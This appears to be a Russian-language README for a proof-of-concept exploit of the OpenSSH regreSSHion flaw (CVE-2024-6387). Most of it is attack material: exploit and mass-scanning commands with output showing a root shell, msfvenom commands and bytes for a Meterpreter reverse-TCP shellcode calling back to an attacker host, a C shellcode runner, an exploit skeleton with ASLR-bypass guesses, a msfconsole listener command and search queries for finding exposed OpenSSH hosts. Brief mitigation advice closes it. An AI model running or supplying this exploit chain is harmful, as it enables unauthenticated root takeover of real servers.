
CVE-2024-6387 - PoCПримечание: этот скрипт — быстрый прототип PoC; возможны некоторые ошибки и баги. Протестировано на: Kali Linux, ParrotSec, Ubuntu 22.04
Уязвимость удалённого неаутентифицированного выполнения кода в сервере OpenSSH
В сервере OpenSSH (sshd) обнаружено состояние гонки в обработчике сигналов: если клиент не проходит аутентификацию в течение LoginGraceTime секунд (120 по умолчанию, 600 в старых версиях OpenSSH), обработчик SIGALRM в sshd вызывается асинхронно. Однако этот обработчик сигнала вызывает различные функции, которые не являются async-signal-safe, например, syslog().
Технические подробности можно найти здесь.
Уязвимость, обнаруженная исследователями Qualys в мае 2024 года и получившая идентификатор CVE-2024-6387, вызвана состоянием гонки в обработчике сигналов в sshd, которое позволяет неаутентифицированным удалённым злоумышленникам выполнять произвольный код с правами root.
«Если клиент не проходит аутентификацию в течение LoginGraceTime секунд (120 по умолчанию), обработчик SIGALRM в sshd вызывается асинхронно и вызывает различные функции, которые не являются async-signal-safe»,
«Неаутентифицированный удалённый злоумышленник может воспользоваться этой уязвимостью для выполнения произвольного кода с привилегиями root».
Требование: python3 последней версии
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22
██████╗ ██████╗ ███████╗███╗ ██╗███████╗███████╗██╗ ██╗
██╔═══██╗██╔══██╗██╔════╝████╗ ██║██╔════╝██╔════╝██║ ██║
██║ ██║██████╔╝█████╗ ██╔██╗ ██║███████╗███████╗███████║
██║ ██║██╔═══╝ ██╔══╝ ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║ ███████╗██║ ╚████║███████║███████║██║ ██║
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚═╝
Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!
~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json
# Generating a shellcode
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
#include <stdio.h>
// A placeholder of your custom payload
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
// Execute shellcode
printf("Executing shellcode...\n");
void (*sc)() = (void(*)())shellcode;
sc();
return 0;
}
#include <stdio.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";
# compiling payload
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c
# Once you receive a successful exploitation message, the msfconsole automatically initiates a Meterpreter session.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessУправление обновлениями: Своевременное применение доступных обновлений для OpenSSH имеет решающее значение для закрытия окна уязвимости. Своевременная установка патчей гарантирует, что известные эксплойты не смогут быть использованы против ваших систем, тем самым сокращая окно возможностей для злоумышленников.
Усиленный контроль доступа: Ограничение доступа к SSH с помощью сетевых средств контроля добавляет дополнительный уровень защиты. Такой подход минимизирует подверженность риску со стороны потенциальных злоумышленников, разрешая SSH-подключения только с авторизованных сетей или IP-адресов. Внедрение таких средств, как правила межсетевого экрана, или использование VPN для безопасного доступа может эффективно обеспечить соблюдение этих ограничений.
Сегментация сети: Разделение сети на сегменты помогает ограничить последствия возможного взлома. Изолируя критические системы и конфиденциальные данные от менее важных частей сети, вы снижаете риск горизонтального перемещения злоумышленников. Такая сегментация может быть дополнена строгим контролем доступа и мониторингом для обнаружения и реагирования на любые несанкционированные попытки проникновения в эти сегменты.
Системы обнаружения вторжений (IDS): Развёртывание IDS или систем предотвращения вторжений (IPS) обеспечивает мониторинг сетевого трафика и системных журналов в реальном времени. Эти системы могут обнаруживать подозрительную активность и потенциальные попытки эксплуатации, связанные с уязвимостью regreSSHion. Оповещения, создаваемые такими системами, позволяют своевременно провести расследование и принять меры до того, как будет нанесён значительный ущерб.
Мониторинг попыток эксплуатации: Непрерывный мониторинг сетевых и системных журналов крайне важен. Обращайте внимание на любые необычные закономерности или действия, которые могут указывать на попытку эксплуатации уязвимости OpenSSH. Такой упреждающий подход помогает выявлять угрозы и реагировать на них до того, как они смогут нанести вред.